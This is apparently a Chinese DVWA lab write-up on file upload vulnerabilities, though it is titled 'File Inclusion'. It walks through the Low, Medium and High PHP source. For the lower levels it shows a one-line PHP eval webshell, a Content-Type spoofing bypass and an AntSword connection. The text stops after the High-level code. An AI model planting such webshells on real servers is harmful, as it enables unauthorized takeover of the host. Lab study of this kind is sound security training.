File Inclusion

File Upload（文件上传），由于对上传文件的内、类型没有做严格的过滤、检查，使得攻击者可以通过上传木马文件获取服务器的webshell文件。

Low

源码分析

从源码中可以看到对上传文件的类型、内容没有做任何的过滤与检查
同时告诉了我们文件上传的路径，并存在明显的文件上传漏洞

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
//文件的目标路径hackable/uploads/，也就是文件上传的位置
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
// basename(path,suffix)

//函数返回路径中的文件名部分，如果可选参数suffix为空，则返回的文件名包含后缀名，反之不包含后缀名。
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
//移动用户上传文件至目标路径
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

漏洞利用

我们编写一个最简单PHP一句话木马

1	<?php @eval($_POST['a']);?>

我们可以尝试去上传一句话木马

使用蚁剑进行连接

1	http://192.168.199.236/dvwa/vulnerabilities/upload/../../hackable/uploads/a.php

然后我们就可以直接控制主机

Medium

从源码中我们可以发现
对文件上传的类型做了白名单限制
要求必须是 image/jpeg 或者 image/png 类型
然后文件大小还需小于 97.6KB

源码分析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
//文件类型必须是image/jpeg 或者 image/png，大小不能超过100000B（约为97.6KB）
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

漏洞利用

还是随便写一个PHP的一句话木马

1	<?php @eval($_POST['b']);?>

使用 BurpSuite 对上传文件流量进行抓包

然后将 Content-Type 内容改为 image/jpeg

一句话木马 b.php 上传成功

我们使用蚁剑进行尝试连接

1	http://192.168.8.144/dvwa/vulnerabilities/upload/../../hackable/uploads/b.php

然后我们可以连接上DVWA后台

High

源码分析

从源码中分析可知
发现只能上传后缀是 .jpg、.png 及 .jpeg 的文件
并且 getimagesize(string filename) 函数会读取文件头
该两项措施限制上传文件必须为图片

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
// strtoLower把所有字符转换为小写
getimagesize(string filename)
//函数会通过读取文件头，返回图片的长、宽等信息，如果没有相关的图片文件头，函数会报错。
//可以看到，High级别的代码读取文件名中最后一个"."后的字符串，期望通过文件名来限制文件类型，因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。
//同时，getimagesize 函数更是限制了上传文件的文件头必须为图像类型。
    if( ( strtoLower( $uploaded_ext ) == "jpg" || strtoLower( $uploaded_ext ) == "jpeg" || strtoLower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>